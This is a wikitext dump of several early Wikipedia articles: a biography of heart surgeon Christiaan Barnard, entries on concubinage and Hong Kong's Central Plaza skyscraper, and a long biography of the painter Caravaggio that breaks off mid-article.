Barnard was born and grew up under modest circumstances in [[Beaufort West]], [[South Africa]]. His father was a church minister. His native language was Afrikaans. He studied medicine at the [[University of Cape Town]] [[Medical School]], did his internship and residency at the [[Groote Schuur Hospital]] in [[Cape Town]], and became a [[general practitioner]] in [[Ceres, South Africa|Ceres]], a rural town in the [[Western Cape]] province. While practicing there in [[1948]], he married a nurse, Aletta Louw.  In [[1951]], he returned to Cape Town to work at two hospitals and complete his [[Masters degree]], receiving that in [[1953]] from the University of Cape Town.  He later obtained a doctorate in medicine from the same university for a dissertation entitled &quot;The treatment of tuberulous Meningitis&quot;.  From [[1956]], he attended the [[University of Minnesota]] to study surgery. While in [[Minneapolis]] he became involved in cardiothoracic surgery and chose that as his specialty.

He was appointed cardiothoracic surgeon at the Groote Schuur Hospital in [[1958]], establishing the hospital's first heart unit. He had also experimented for several years with animal heart transplants following the first successful [[kidney]] transplant in [[1954]] &amp;mdash; Barnard performed the first kidney transplant in South Africa in [[1959]].  He also lectured at the University of Cape Town, and in [[1961]] he was made head of cardiothoracic surgery at the university.

== Heart transplant ==

The world's first open heart transplant operation was performed on [[3 December]] 1967 in an operation lasting nine hours and using a team of thirty persons. The patient, [[Louis Washkansky]], was 55 years old and suffering from [[diabetes]] and [[heart disease]]. The transplant heart came from a young woman, [[Denise Darvall]], killed in a [[road accident]]. Washkansky survived the operation and lived for eighteen days, before succumbing to [[pneumonia]] induced by the immuno-suppressive [[Medication|drug]]s he was taking. 

There is some controversy since some view Barnard as an interloper who unfairly stole the thunder from [[Norman E. Shumway]], the Stanford heart surgeon who did the primary research making heart transplants possible. Barnard performed his historic transplant shortly after observing Schumway's research work at Stanford.  

Barnard was quite [[photogenic]] and enjoyed the media attention following the operation, which made him famous around the world.  Barnard continued to perform heart transplants:  a transplant operation was conducted on [[2 January]] [[1968]], and the patient, [[Philip Blaiberg]], survived for 19 months. Mrs Dorothy Fisher was given a new heart in 1969 and became the longest surviving patient, she lived for 24 years after the transplant.([http://africanhistory.about.com/library/weekly/aa090601a.htm]).  In [[1969]], Barnard got a divorce, and in [[1970]] he married the glamorous [[Barbara Zoellner]].

He also pioneered new and risky techniques, including double transplants ([[1974]]), artificial valves and using animal hearts for emergency treatment ([[1977]]). He performed 10 orthotopic transplants ([[1967]] &amp;ndash; [[1973]]), and Barnard or his group performed 48 heterotopic transplants ([[1975]] &amp;ndash; [[1983]]). The introduction of [[cyclosporine]] meant a resumption in orthotopic operations.

== Retirement ==

Barnard divorced in [[1982]], and retired due to stiffness brought on by [[rheumatoid arthritis]] in his [[hand]]s in [[1983]], mostly due to activities on his ranch in the Great [[Karoo]].

He had become very interested in anti-aging research, and his reputation suffered in [[1986]] when he promoted ''[[Glycel]]'', a product that was withdrawn by the [[United States]] [[Food and Drug Administration]] soon thereafter. 

He got married for a third time in [[1988]] to the youthful Karin Setzkorn, divorcing again in [[2000]]. He died whilst on holiday in [[Paphos]], [[Cyprus]] after suffering an acute [[asthma attack]], leaving behind five children.

== See also ==
* [[Thoracic surgery]]
* [[Hamilton Naki]]

[[Category:South African people]]
[[Category:1922 births|Barnard, Christiaan]]
[[Category:2001 deaths|Barnard, Christiaan]]
[[Category:South African surgeons|Barnard, Christiaan]]

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  <page>
    <title>Concubinage</title>
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'''Concubinage''' refers to the state of a  couple living together as lovers with no permanent obligation (as by civil [[marriage]] or religious ceremony) or the state of a woman supported by a male lover who is married to another. In societies that permit [[slavery]], it can refer to sexual relationships between slave-owners and their slaves (a form of [[sexual slavery]]).  In ancient times, institutions such as the Roman government had strict rules governing marriage between individuals of differing social, economic or religious classes. In these situations, concubinage was the only quasi-legal relationship option available, particularly if the couple wanted to have children that would be viewed as 'legitimate' by society and local legal authorities.

In [[English language|English]], the first meaning is antiquated and is replaced by &quot;living together&quot;, &quot;shacking up&quot;, or, more formally, &quot;[[cohabitation]]&quot;. It typically implies [[monogamy]]. The term [[mistress]]  refers to a woman with an ongoing sexual relationship with a married man. Traditionally, in the [[Western world]], a man and a woman living together without being married were socially shunned; in some jurisdictions, it was illegal.  Today, cohabitation is common, especially among younger adults who no longer see the need to be married in today's society.  Couples often live together before marrying or becoming engaged. Some call concubinage &quot;[[college]] marriage.&quot;  

Several [[United States|US]] states legislatively forbid cohabitation between heterosexual partners. The law is not typically enforced.  In [[France]], ''Concubinage'' is the official term for cohabitation of heterosexual and (since [[1998]]) homosexual couples. Some benefits of [[marriage|married]] couples or those bound by [[PACS (civil union)]] may then apply. In jurisdictions with [[common-law marriage]], cohabiting partners may become common-law spouses after a certain length of time.

==Concubine==
The term ''concubine'' generally signifies relationships where the male is the dominant partner, socially and economically. In this model the male may also have one or more wives as well.  Some historical [[Middle East]]ern and [[East Asia]]n rulers are examples of this pattern.  

A woman attached to a man solely for reproduction, and who cares for the resulting [[child]]ren without any romantic relationship, is also consided a concubine. The father in this case may have a legal wife or other lovers.

Historically, concubinage was frequently voluntary, as it provided a measure of economic security for the woman involved. Involuntary, or servile, concubinage involves [[sexual slavery]] of one member of the relationship; typically the woman.

==Concubinus==
In Roman times, this was the title of a young male slave who was chosen by his master as a bedmate.  They were often refered to ironically in the literature of the time. [[Catullus]] assumes in the wedding poem 61.126 that the young manor lord has a concubinus who considers himself elevated above the other slaves, but will lose his post after the lord's marriage. Some of these relationships were described as having emotional depth. [[Julius Caesar|Caesar]], in his account of the Spanish wars, relates a story of the rebel Scapula, who orders a freedman who had been his former concubinus to light his pyre.

==See also==
* [[polygamy]]
* [[polyamory]]
* [[monogamy]]
* [[morganatic marriage]]
* [[harem (household)|harem]]
* [[prostitution]]

==External links==
* [http://wiktionary.org/wiki/Concubine Concubine] at Wiktionary
* [http://www.liberalislam.net/slavery.html Polygamy, slavery and Qur'anic sexual ethics]

==References==
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    <title>Central Plaza, Hong Kong</title>
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      <text xml:space="preserve">[[image:central_plaza1.jpg|thumb|200px|Central Plaza by day in April [[2003]].]]
[[image:central-plaza3.jpg|thumb|200px|Vertical shot of Central Plaza (April 2003).]]
[[image:central-plaza2.jpg|left|thumb|200px|Another angle of Central Plaza (April 2003).]]

'''Central Plaza''' (中環廣場), located in [[Wan Chai]], is the second tallest [[skyscraper]] in [[Hong Kong]]. With a height of 374 m, Central Plaza is only surpassed by [[International Finance Centre|2 IFC]] (420 m) in [[Central, Hong Kong|Central]]. It used to be the tallest building in [[Asia]] from [[1992]] to [[1996]], until the [[Shun Hing Square]] in [[Shenzhen]], [[People's Republic of China]], was built. The 78-storey building was completed in August [[1992]]. The building surpassed the [[Bank of China Tower]] as the tallest building in Hong Kong until the completion of 2 IFC. 

Central Plaza was also the tallest [[reinforced concrete]] building in the world, until it was surpassed by [[CITIC Plaza]], [[Guangzhou]]. The building uses a triangular [[floor plan]]. On the top of the tower is a four-bar neon clock that indicates the time by displaying different colors in 15 minute intervals, blinking at the change of the quarter.

An [[anemometer]] is installed on the tip of the building's mast; the anemometer sits at 378 metres above sea level. The mast has a height of 102m. It also houses the world's highest [[church]]--[[Community Church Hong Kong]]. 

== Current tenants ==
*[[Chevron Corporaton|Chevron]] (Caltex) 41/42nd Floor
*[[Community Church Hong Kong]] 69/F &amp; 75/F (Apex)
*[[ExxonMobil]] (23rd Floor)
*[[Sun Microsystems]] (66th Floor)
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==See also==
* [[Bank of China Tower]]
* [[The Center, Hong Kong]]
* [[Hopewell Centre, Hong Kong]]
* [[List of buildings and structures in Hong Kong]]
* [[List of buildings]]

==External links==
* [http://courses.arch.hku.hk/IntgBuildTech/cases/centplaz/centplaz.htm Architectural study of the building]
* [http://www.skyscraperpage.com/diagrams/?c7 Hong Kong's skyscrapers in comparison]
* [http://www.emporis.com/en/wm/bu/?id=120372 The Central Plaza at emporis.com]
* [http://maps.google.com/maps?q=Hong+Kong&amp;ll=22.280112,114.173098&amp;spn=0.003575,0.005667&amp;t=k&amp;hl=en Satellite view of the site]

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    <title>Caravaggio</title>
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[[Image:Bild-Ottavio Leoni, Caravaggio.jpg|right|thumb|200px|Caravaggio painted by [[Ottavio Leoni]] around 1621.]]

'''Michelangelo Merisi da Caravaggio''' ([[29 September]] [[1571]] – [[18 July]] [[1610]]) was an [[Italian people|Italian]] [[artist]] active in [[Rome]], [[Naples]], [[Malta]] and [[Sicily]] between [[1593]] and [[1610]]. He is commonly placed in the [[Baroque]] school, on which he had a formative influence. 

Even in his own lifetime Caravaggio was enigmatic, fascinating, and dangerous. He burst upon the Rome art scene in 1600, and never afterwards lacked commissions or patrons, yet handled his success atrociously. The earliest published notice on him, dating from 1604 and describing his lifestyle some three years previously, tells how &quot;after a fortnight's work he will swagger about for a month or two with a sword at his side and a servant following him, from one ball-court to the next, ever ready to engage in a fight or an argument, so that it is most awkward to get along with him.&quot;{{ref|earliest_published}} In [[1606]] he killed another young man in a brawl and fled Rome with a price on his head. In Malta in [[1608]] he was involved in another brawl, and yet another in Naples in 1609, possibly a deliberate attempt on his life by unidentified enemies. By the next year, after a career of little more than a decade, he was dead.

Huge new churches and palazzi were being built in Rome in the decades of the late 16th and early 17th centuries, and paintings were needed to fill them. The [[Counter-Reformation]] Church was searching for an authentic religious art with which to counter the threat of Protestantism, and for this task the artificial conventions of [[Mannerism]], which had ruled art for almost a century, no longer seemed adequate. Caravaggio's novelty was a radical [[Naturalism (art)|naturalism]] which combined close physical observation with a dramatic, even theatrical, approach to [[chiaroscuro]], the use of light and shadow. In Caravaggio's hands this new style was the vehicle for authentic and moving spirituality.

Famous while he lived, Caravaggio was almost completely forgotten in the centuries after his death, and it was only in the last few decades of the 20th century that he has been rediscovered. Yet despite this his influence on the common style which eventually emerged from the ruins of Mannerism, the new [[Baroque]], was profound. Andre Berne-Joffroy, [[Paul Valery]]’s secretary, said of him: &quot;What begins in the work of Caravaggio is, quite simply, modern painting.&quot;{{ref|Berne_Joffroy}}

==Biography==

===Early life (1571-1592)===
[[Image:Caravaggio-Crucifixion of Peter.jpg|thumb|right|300px|''[[Crucifixion of St. Peter (Caravaggio)|The Crucifixion of Saint Peter]]'', [[1601]]. Oil on canvas, 230 x 175 cm. [[Cerasi Chapel]], [[Santa Maria del Popolo]], [[Rome]].]]
Caravaggio’s father, Fermo Merisi, was a household administrator and architect-decorator to Francesco Sforza, Marchese of [[Caravaggio (BG)|Caravaggio]], a town some thirty kilometers from [[Milan]]. His mother, Lucia Aratori, came from a propertied family of the same district. None of the Merisi children — Michelangelo was Lucia's eldest — are listed on the baptismal records from Caravaggio, and all were probably born in Milan, where the Marchese had his court and where their father lived. In 1576 the family moved to Caravaggio to escape a plague which ravaged Milan. Caravaggio’s father died there in [[1577]]. It is assumed, but not certain, that he grew up in Caravaggio; it is equally possible that some of his childhood may have passed in Milan, where it appears his family kept up connections with the Sforzas and with the powerful Colonna family, who were allied by marriage with the Sforzas and destined to play a major role in Caravaggio's later life.{{ref|early_life}}

In 1584 he was apprenticed for four years to the painter Simone Peterzano of Milan, described in the contract of apprenticeship as a pupil of [[Titian]]. Caravaggio appears to have stayed in the Milan-Caravaggio area after his apprenticeship ended, but it is possible that he visited [[Venice]] and saw the works of [[Giorgione]], whom he was later accused of aping, as well as those of his teacher’s master, [[Titian]]. Certainly he would have become familiar with the art treasures of Milan, including [[Leonardo]]’s ''[[The Last Supper (Leonardo)|Last Supper]]'', and with the regional Lombard art, &quot;modest and unflashy ... down to earth ... unrhetorical,&quot;{{ref|modest_and_unflashy}} closer to the [[Naturalism (art)|naturalism]] of Germany than to the stylised formality and grandeur of the Roman [[Mannerist]] style.

===Rome (1592-1600)===
[[Image:Fanciullo_con_canestro_di_frutta_(Caravaggio).jpg|thumb|right|300px|''[[Boy with a Basket of Fruit (Caravaggio)|Boy with a Basket of Fruit]]'', c. 1593. Oil on canvas, 67 x 53 cm. [[Galleria Borghese]], [[Rome]].]]

In mid-1592 he arrived in Rome, “naked and extremely needy ... without fixed address and without provision ... short of money.”{{ref|naked_and_extremely_needy}} A few months later he was doing hack-work for the highly successful [[Giuseppe Cesari]], Cavaliere d’Arpino, [[Pope Clement VIII]]’s favourite painter, “painting flowers and fruit”{{ref|flowers_and_fruit}} in the cavaliere’s factory-like workshop. Known works from this period include a small ''[[Boy Peeling Fruit (Caravaggio)|Boy Peeling a Fruit]]'' (his earliest known painting), a ''[[Boy with a Basket of Fruit (Caravaggio)|Boy with a Basket of Fruit]]'', and the ''[[Young Sick Bacchus (Caravaggio)|Young Sick Bacchus]]'', a self-portrait done during convalescence from a serious illness that ended his employment with d’Arpino. All three demonstrate the physical particularity — one aspect of his realism — for which Caravaggio was to become renowned: the fruit-basket-boy’s produce has been analysed by a professor of horticulture, who was able to identify individual cultivars right down to &quot;... a large fig leaf with a prominent fungal scorch lesion resembling [[anthracnose]] (''Glomerella cingulata'').&quot;{{ref|professor_of_horticulture}} Allied with this type of realism is another, the psychological: the boy is clearly a little bored posing with the heavy basket, but amused and compliant; his bared shoulder is treated with such physical desire that it is quite clear how the painter felt about his model; but the boy himself, while amiable, gives no sign of reciprocating the feeling.

[[Image:Cardsharps.jpg|thumb|left|300px|''[[Cardsharps|The Cardsharps]]'', c. 1594. Oil on canvas, 107 x 99 cm. [[Kimbell Art Museum]], [[Fort Worth]], [[Texas]].]]

Caravaggio left d’Arpino in January 1594, determined to make his own way. He took with him the model for the boy with the fruit basket, a 16-year-old painter named [[Mario Minniti]] who would continue to appear in his works over many years{{ref|Minniti}}, and began painting scenes of Roman street life which he sold through the dealer Costantino. ''[[The Fortune Teller (Caravaggio)|The Fortune Teller]]'', his first composition with more than one figure, shows Mario being cheated by a gypsy girl. The theme was quite new for Rome, and proved immensely influential over the next century and beyond. This, however, was in the future: at the time, Caravaggio sold it for practically nothing. ''[[Cardsharps|The Cardsharps]]'' — showing another unsophisticated boy falling the victim of card cheats — is even more psychologically complex, and perhaps Caravaggio’s first true masterpiece. Like the ''[[The Fortune Teller (Caravaggio)|Fortune Teller]]'' it was immensely popular, and over 50 copies survive. More importantly, it attracted the patronage of [[cardinal (Catholicism)|Cardinal]] [[Francesco Maria Del Monte]], one of the leading connoisseurs in Rome, and henceforth Caravaggio would share an apartment with Minniti in the cardinal’s Palazzo Madama.{{ref|Cardsharps}}

For Del Monte and his wealthy art-loving circle Caravaggio executed a number of intimate chamber-pieces — ''[[The Musicians (Caravaggio)|The Musicians]]'', ''[[The Lute Player (Caravaggio)|The Lute Player]]'', a tipsy ''[[Bacchus (Caravaggio)|Bacchus]]'', an allegorical but realistic ''[[Boy Bitten by a Lizard (Caravaggio)|Boy Bitten by a Lizard]]'' — featuring Minniti and yet more boy models. These poetic, introverted, cryptically homoerotic works{{ref|homoerotic}} were a step away from the psychological realism that had begun to emerge a few years earlier.

The realism returned with Caravaggio’s first paintings on religious themes, and the emergence of remarkable spirituality. The first of these was the ''[[Penitent Magdalene (Caravaggio)|Penitent Magdalene]]'', showing [[Mary Magdalene]] at the moment when she has turned from her life as a courtesan and sits weeping on the floor, her jewels scattered around her. “It seemed not a religious painting at all ... a girl sitting on a sitting on a low wooden stool drying her hair ... Where was the repentance ... suffering ... promise of salvation?”{{ref|promise_of_salvation}} It was understated, in the Lombard manner, not histrionic in the Roman manner of the time. It was followed by others in the same style: ''[[Saint Catherine (Caravaggio)|Saint Catherine]]'', ''[[Martha and Mary Magdalene (Caravaggio)|Martha and Mary Magdalene]]'', ''[[Judith Beheading Holofernes (Caravaggio)|Judith Beheading Holofernes]]'', a ''[[Sacrifice of Isaac (Caravaggio)|Sacrifice of Isaac]]'', a ''[[Saint Francis of Assisi in Ecstasy (Caravaggio)|Saint Francis of Assisi in Ecstasy]]'', and a ''[[Rest on the Flight into Egypt (Caravaggio)|Rest on the Flight into Egypt]]''. The works, while viewed by a comparatively limited circle, increased Caravaggio's fame with both connoisseurs and his fellow-artists. But a true reputation would depend on public commissions, and for these it was necessary to look to the Church.

==='Most famous painter in Rome' (1600-1606)===
[[Image:Calling-of-st-matthew.jpg|thumb|right|300px|''[[The Calling of St Matthew (Caravaggio)|The Calling of Saint Matthew]]''. 1599-1600. Oil on canvas, 322 x 340 cm. [[Contarelli Chapel]], [[San Luigi dei Francesi]], [[Rome]]. The beam of light, which enters the picture from the direction of a real window, expresses in the blink of an eye the conversion of St Matthew, the hinge on which his destiny will turn, with no flying angels, parting clouds or other artifacts.]]

In 1599, presumably through the influence of Del Monte, Caravaggio contracted to decorate the [[Contarelli Chapel]] in the church of [[San Luigi dei Francesi]]. The two works making up the commission, the [[The Martyrdom of Saint Matthew (Caravaggio)|''Martyrdom of Saint Matthew'']] and ''[[The Calling of St Matthew (Caravaggio)|Calling of Saint Matthew]]'', delivered in 1600, were an immediate sensation. Caravaggio’s heightened [[chiaroscuro]] brought high drama to his subjects, while his acutely observed realism brought a new level of emotional intensity. This heightened form of chiaroscuro is known as [[tenebrism]], and he is credited with popularizing it. Opinion among Caravaggio’s artist peers was polarized. Some denounced him for various perceived failings, notably his insistence on painting from life, without drawings, but for the most part he was hailed as the saviour of art: &quot;The painters then in Rome were greatly taken by this novelty, and the young ones particularly gathered around him, praised him as the unique imitator of nature, and looked on his work as miracles.&quot;{{ref|looked_upon_his_work_as_miracles}}

Caravaggio went on to secure a string of prestigious commissions for religious works featuring violent struggles, grotesque decapitations, torture and death. For the most part each new painting increased his fame, but a few were rejected by the various bodies for whom they were intended, at least in their original forms, and had to be re-painted or find new buyers. The essence of the problem was that while Caravaggio’s dramatic intensity was appreciated, his realism was seen by some as unacceptably vulgar.{{ref|vulgar}} His first version of ''[[Saint Matthew and the Angel (Caravaggio)|Saint Matthew and the Angel]]'', featured the saint as a bald peasant with dirty legs attended by a lightly-clad over-familiar boy-angel, was rejected and had to be repainted as ''[[The Inspiration of Saint Matthew (Caravaggio)|The Inspiration of Saint Matthew]]''. Similarly, ''[[The Conversion of Saint Paul (Caravaggio)|The Conversion of Saint Paul]]'' was rejected, and while another version of the same subject, the [[Conversion on the Way to Damascus|''Conversion of Saint Paul'']], was accepted, it featured the saint’s horse’s backside far more prominently than the saint himself, prompting this exchange between the artist and an exasperated official of [[Santa Maria del Popolo]]: “Why have you put a horse in the middle, and [[Paul of Tarsus|Saint Paul]] on the ground?” “Because!” “Is the horse God?” “No, but he stands in God’s light!”{{ref|he_stands_in_God's_light}}

[[Image:Michelangelo Caravaggio 070.jpg|thumb|250px|left|''[[Death of the Virgin]]'' (detail). [[1601]] - [[1606]]. Oil on canvas, 396 x 245 cm. [[Louvre]], [[Paris]].]]

Other works included the deeply moving ''[[The Entombment of Christ (Caravaggio)|Entombment]]'', the ''[[Madonna di Loreto]]'' (''Madonna of the Pilgrims''), the [[Madonna and Child with St. Anne (Dei Palafrenieri) (Caravaggio)|''Grooms' Madonna'']], and the ''[[Death of the Virgin (Caravaggio)|Death of the Virgin]]''. The history of the ''Death of the Virgin'' illustrates the reception given to some of Caravaggio's art, and the times in which he lived. Commissioned in 1601 by a wealthy jurist for his private chapel in the new Carmelite church of Santa Maria della Scala, it was rejected by the Carmelites in 1606. Caravaggio's contemporary [[Giulio Mancini]] records that it was rejected because Caravaggio had used a well-known prostitute as his model for the Virgin;{{ref|Death_of_the_Virgin_Mancini}} [[Giovanni Baglione]], another contemporary, tells us it was because of Mary's bare legs:{{ref|Death_of_the_Virgin_Baglione}} a matter of decorum in either case. But Caravaggio scholar John Gash suggests that the problem for the Carmelites may have been theological rather than aesthetic, in that Caravaggio's version fails to assert the doctrine of the [[Assumption of Mary]], the idea that the Mother of God did not die in any ordinary sense but was assumed into Heaven. The replacement altarpiece commissioned (from one of Caravaggio's most able followers, [[Carlo Saraceni]]), showed the Virgin not dead, as Caravaggio had painted her, but seated and dying; and even this was rejected, and replaced with a work which showed the Virgin not dying, but ascending into Heaven with choirs of angels. In any case, the rejection did not mean that Caravaggio or his paintings were out of favour. The ''Death of the Virgin'' was no sooner taken out of the church than it was purchased by the Duke of Mantua, on the advice of [[Rubens]], and later acquired by [[Charles I]] of England before entering the French royal collection in 1671.

[[Image:Amor Victorious.jpg|thumb|250px|right|''[[Amor Vincit Omnia|Amor Victorious]]''. [[1602]] - [[1603]]. Oil on canvas. 156 x 113 cm. [[Gemäldegalerie (Berlin)|Gemäldegalerie]], [[Berlin]]. Caravaggio shows [[Cupid]] prevailing over all human endeavors: war, music, science, government.]]

One secular piece from these years is ''[[Amor Vincit Omnia|Amor Victorious]]'', painted in 1602 for [[Vincenzo Giustiniani]], a member of Del Monte’s circle. The model was named in a memoir of the early 17th century as &quot;Cecco&quot;, the diminutive for Francesco. He is possibly Francesco Boneri, identified with an artist active in the period 1610-1625 and known as [[Cecco del Caravaggio]] ('Caravaggio's Ceccho'){{ref|Ceccho}}, carrying a bow and arrows and trampling symbols of the warlike and peaceful arts and sciences underfoot. He is unclothed, and it is a difficult to accept this grinning urchin as the Roman god [[Cupid]] – as difficult as it was to accept Caravaggio’s other semi-clad adolescents as the various angels he painted in his canvases, wearing much the same stage-prop wings. The point, however, is the intense yet ambiguous reality of the work: it is simultaneously Cupid and Cecco, as Caravaggio’s Virgins were simultaneously the Mother of Christ and the Roman courtesans who modeled for them.

===Exile and death (1606-1610)===

[[Image:Caravaggio_denial.jpg|thumb|left|300px|''[[The Denial of Saint Peter (Caravaggio)|The Denial of Saint Peter]]'', c. 1610. Oil on canvas, 94 x 125 cm. [[Metropolitan Museum of Art]], [[New York]]. In the [[chiaroscuro]] a woman points two fingers at Peter while a soldier points a third. Caravaggio tells the story of Peter denying Christ three times with this symbolism.]]

Caravaggio led a tumultuous life. He was notorious for brawling, even in a time and place when such behavior was commonplace, and the transcripts of his police records and trial proceedings fill several pages. On [[29 May]] [[1606]], he killed, possibly unintentionally, a young man named Ranuccio Tomassoni.{{ref|www.telegraph.co.uk.524}} Previously his high-placed patrons had protected him from the consequences of his escapades, but this time they could do nothing. Caravaggio, outlawed, fled to [[Naples]]. There, outside the jurisdiction of the Roman authorities and protected by the Colonna family, the most famous painter in Rome became the most famous in Naples. His connections with the Colonnas led to a stream of important church commissions, including the ''[[Madonna of the Rosary (Caravaggio)|Madonna of the Rosary]]'', and ''[[The Seven Works of Mercy (Caravaggio)|The Seven Works of Mercy]]''. 

Despite his success in Naples, after only a few months in the city Caravaggio left for [[Malta]], the headquarters of the [[Knights of Malta]], presumably hoping that the patronage of [[Alof de Wignacourt]], Grand Master of the Knights, could help him secure a pardon for Tomassoni's death. De Wignacourt proved so impressed at having the famous artist as official painter to the Order that he inducted him as a knight, and the early biographer Bellori records that the artist was well pleased with his success.  Major works from his Malta period include a huge ''[[The Beheading of Saint John the Baptist (Caravaggio)|Beheading of Saint John the Baptist]]'' (the only painting to which he put his signature) and a ''[[Portrait of Alof de Wignacourt and his Page (Caravaggio)|Portrait of Alof de Wignacourt and his Page]]'', as well as portraits of other leading knights. Yet by late August of 1608 he was arrested and imprisoned.  The circumstances surrounding this abrupt change of fortune have long been a matter of speculation, but recent investigation has revealed it to have been the result of yet another brawl, during which the door of a house was battered down and a knight seriously wounded.{{ref|http://caravaggio.com/preview/attach/data01/D000199.htm}} By December he had been expelled from the Order &quot;as a foul and rotten member.&quot;{{ref|foul_and_rotten}}

[[Image:Resurrection_of_lazarus.jpg|thumb|right|300px|''[[The Raising of Lazarus - Messina (Caravaggio)|The Raising of Lazarus]]''. 1609. [[Museo Regionale]].]]
Before the expulsion Caravaggio had escaped to [[Sicily]] and the company of his old friend Mario Minniti, who was now married and living in [[Syracuse, Italy|Syracuse]]. Together they set off on what amounted to a triumphal tour from Syracuse to [[Messina]] and on to the island capital, [[Palermo]]{{note|Syracuse_to_Messina_to_Polermo}}. Everywhere he went, Caravaggio continued to win prestigious and well-paid commissions. Among other works from this period are a ''[[Burial of St. Lucy (Caravaggio)|Burial of St. Lucy]]'', a ''[[The Raising of Lazarus - Messina (Caravaggio)|The Raising of Lazarus]]'', and an ''[[Adoration of the Shepherds (Caravaggio)|Adoration of the Shepherds]]''. His style continued to evolve, showing now friezes of figures isolated against vast empty backgrounds, suggesting &quot;...desperate fears...frailty...desolate tenderness...&quot;.{{ref|desolate_tenderness}} Contemporary reports depict a man whose behaviour was becoming increasingly bizarre, sleeping fully armed and in his clothes, ripping up a painting at a slight word of criticism, mocking the local painters.{{ref|bizarre_behavior}}

After only nine months in Sicily Caravaggio returned to Naples. According to his earliest biographer he was being pursued by enemies while in Sicily and felt it safest to place himself under the protection of the Colonnas until he could secure his pardon from the pope (now [[Paul V]]) and return to Rome.{{ref|Naples}} In Naples he painted ''[[The Denial of Saint Peter (Caravaggio)|The Denial of Saint Peter]]'', a final ''[[John the Baptist (Caravaggio)|John the Baptist (Borghese)]]'', and, his last picture, ''[[The Martyrdom of Saint Ursula (Caravaggio)|The Martyrdom of Saint Ursula]]''. His style continued to evolve - [[Saint Ursula]] is caught in a moment of highest action and drama, as the arrow fired by the king of the [[Huns]] strikes her in the breast, unlike earlier paintings which had all the immobility of the posed models. The brushwork was much freer and more impressionistic. Had Caravaggio lived, something new would have come.

In Naples an attempt was made on his life, by persons unknown. At first it was reported in Rome that the &quot;famous artist&quot; Caravaggio was dead, but then it was learned that he was alive, but seriously disfigured in the face. He painted a ''[[Salome with the Head of John the Baptist (Madrid) (Caravaggio)|Salome with the Head of John the Baptist (Madrid)]]'', showing his own head on a platter, and sent it to de Wignacourt as a plea for forgiveness. Perhaps at this time he painted also a ''[[David with the Head of Goliath (Caravaggio)|David with the Head of Goliath]]'', showing the young David with a strangely sorrowful expression gazing on the wounded head of the giant, which is again Caravaggio's. This painting he may have sent to the unscrupulous art-loving cardinal-nephew Scipione Borghese, who had the power to grant or withhold pardons.{{ref|David_to_Borghese}}

In the summer of 1610 he took a boat northwards to receive the pardon, which seemed imminent thanks to his powerful Roman friends. With him were three last paintings, gifts for Cardinal Scipione. What happened next is the subject of much confusion and conjecture. The bare facts are that on [[28 July]] an anonymous ''avviso'' (private newsletter) from Rome to the ducal court of Urbino reported that Caravaggio was dead. Three days later another ''avviso'' said that he had died of fever. These were the earliest, brief accounts of his death, which later underwent much elaboration. No body was found.#{{ref|death_uncertainties}} A poet friend of the artist later gave [[18 July]] as the date of death, and a recent researcher claims to have discovered a death notice showing that the artist died on that day of a fever in Porto Ercole{{ref|news.bbc.co.uk.525}}, near [[Grosseto]] in [[Tuscany]].

==Caravaggio the artist==

===The birth of Baroque===
[[Image:Takingofchrist.jpg|thumb|right|300px| ''[[The Taking of Christ]]'' 1602. [[National Gallery of Ireland]]. Caravaggio's application of the [[chiaroscuro]] technique shows through on the faces and armour notwithstanding the lack of a visible shaft of light.]]

Caravaggio “put the oscuro (shadows) into chiaroscuro.”{{ref|put_the_oscuro_into_chiaroscuro}} Chiaroscuro was practiced long before he came on the scene, but it was Caravaggio who made the technique definitive, darkening the shadows and transfixing the subject in a blinding shaft of light. With this went the acute observation of physical and psychological reality which formed the ground both for his immense popularity and for his frequent problems with his religious commissions. 

He worked at great speed, from live models, scoring basic guides directly onto the canvas with the end of the brush handle. The approach was anathema to the skilled artists of his day, who decried his inability to work without a live model. Yet the models were basic to his realism. Some have been identified, including [[Mario Minniti]] and [[Francesco Boneri]], both fellow-artists. Minitti appeared as various figures in the early secular works, Boneri as a succession of angels in the later religious canvasses. The female models include Filide Melandroni and Maddalena Antognetti, both well-known prostitutes, who appear as female religious figures including the Virgin and various saints.{{ref|models}} Caravaggio himself appears in several paintings, his final self-portrait being as the witness on the far right to the ''[[The Martyrdom of Saint Ursula (Caravaggio)|Martyrdom of Saint Ursula]]''.{{ref|himself_as_model}}

[[image:caravaggio.emmaus.750pix.jpg|thumb|left|300px|''[[Supper at Emmaus (Caravaggio)|Supper at Emmaus]]'', 1601. Oil on canvas, 139 x 195 cm. [[National Gallery, London|National Gallery]], [[London]].]]

Carravagio had the uncanny ability to express in one scene of unsurpassed vividness the passing of a crucial moment. ''[[Supper at Emmaus (London) (Caravaggio)|The Supper at Emmaus]]'' depicts the recognition of Christ by his disciples: a moment before he is a fellow traveler, mourning the passing of the Messiah, as he never ceases to be to the inn-keeper’s eyes, the second after, he is the Saviour.  In [[The Calling of St Matthew (Caravaggio)|The Calling of St Matthew]], the hand of the Saint points to himself as if he were saying “who, me?”, while his eyes, fixed upon the figure of Christ, have already said, “Yes, I will follow you”.  With [[The Raising of Lazarus (Caravaggio)|The Resurrection of Lazarus]], he goes a step further, giving us a glimpse of the actual physical process of resurrection.  The body of Lazarus is still in the throes of rigor mortis, but his hand, facing and recognizing that of Christ, is alive. Other major Baroque artist would travel the same path, for example [[Bernini]] fascinated with themes from Ovid’s [[Metamorphosis]].

===The ''Caravaggisti''===
[[Image:Judith Beheading Holofernes by Caravaggio.jpg|thumb|right|300px| ''[[Judith Beheading Holofernes (Caravaggio)|Judith Beheading Holofernes]]'' 1598-1599. [[Galleria Nazionale d'Arte Antica]].]]

The installation of the St Matthew paintings in the Contarelli Chapel had an immediate impact among the younger artists in Rome, and Caravaggism became the cutting edge for every ambitious young painter. The first Caravaggisti included [[Giovanni Baglione]] (although his Caravaggio phase was short-lived) and [[Orazio Gentileschi]]. In the next generation there were [[Carlo Saraceni]], [[Bartolomeo Manfredi]] and [[Orazio Borgianni]]. Gentileschi, despite being considerably older, was the only one of these artists to live much beyond 1620, and ended up as court painter to Charles I in  England. His daughter [[Artemisia Gentileschi]] was also close to Caravaggio, and one of the most gifted of the movement. Yet in Rome and in Italy it was not Caravaggio, but the influence of [[Annibale Carraci]], blending elements from the [[High Renaissance]] and Lombard realism, which ultimately triumphed.

Caravaggio’s brief stay in Naples produced a notable school of Neapolitan Caravaggisti, including [[Battistello Caracciolo]] and [[Carlo Sellitto]]. The Caravaggisti movement there ended with a terrible outbreak of plague in 1656, but the Spanish connection – Naples was a possession of Spain – was instrumental in forming the important Spanish branch of his influence. 

